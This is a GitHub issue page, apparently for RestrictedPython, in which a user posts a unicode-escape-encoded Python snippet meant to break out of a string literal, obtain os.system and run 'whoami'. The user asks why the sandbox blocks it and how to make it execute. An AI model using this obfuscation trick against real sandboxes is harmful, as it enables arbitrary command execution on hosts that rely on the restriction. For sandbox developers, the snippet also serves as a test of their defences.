Skip to content

unpack question #276

@jsmith173

Description

@jsmith173

I've the following code

#encoding: unicode_escape
a1,srt_rce,a2 = '''
\u0027\u0027\u0027\u002C\u0067\u0065\u0074\u0061\u0074\u0074\u0072\u0028\u005F\u005F\u0069\u006D\u0070\u006F\u0072\u0074\u005F\u005F\u0028\u0027\u006F\u0073\u0027\u0029\u002C\u0020\u0027\u0073\u0079\u0073\u0074\u0065\u006D\u0027\u0029\u002C\u0027\u0027\u0027
'''
srt_rce('whoami')

The unicode escape is: ''',getattr(import('os'), 'system'),'''

The protector code raises ValueError "too many values to unpack (expected 3)" in exec
In my protector code I have:
"iter_unpack_sequence": RestrictedPython.Guards.guarded_iter_unpack_sequence,
"unpack_sequence": RestrictedPython.Guards.guarded_unpack_sequence,

My question: Is this exception normal? Why the original code is not executed? What to do when I want to execute this code?

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions